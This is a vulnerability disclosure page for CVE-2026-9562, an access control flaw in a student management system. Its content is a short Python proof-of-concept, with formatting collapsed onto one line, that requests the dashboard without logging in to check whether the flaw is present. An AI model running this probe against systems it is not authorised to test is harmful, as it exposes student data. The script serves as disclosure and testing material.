CVE-2026-9562 学生管理系统访问控制不当漏洞

import requests import sys # POC for CVE-2026-9562: Improper Access Control in STUDENT-MANAGEMENT-SYSTEM # This script attempts to access the Dashboard without authentication. def check_vulnerability(target_url): """Check if the target is vulnerable to CVE-2026-9562.""" # Attempt to access the dashboard endpoint directly # Adjust the endpoint path based on actual application routing dashboard_url = f"{target_url}/dashboard" try: response = requests.get(dashboard_url, timeout=10) # Check if request is successful (200 OK) and contains dashboard content if response.status_code == 200 and ("student" in response.text.lower() or "dashboard" in response.text.lower()): print(f"[+] Target {target_url} appears to be VULNERABLE!") print(f"[+] Dashboard accessed without authentication.") return True else: print(f"[-] Target {target_url} does not appear to be vulnerable or endpoint is different.") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <target_url>") print("Example: python poc.py http://localhost:3000") sys.exit(1) url = sys.argv[1] check_vulnerability(url)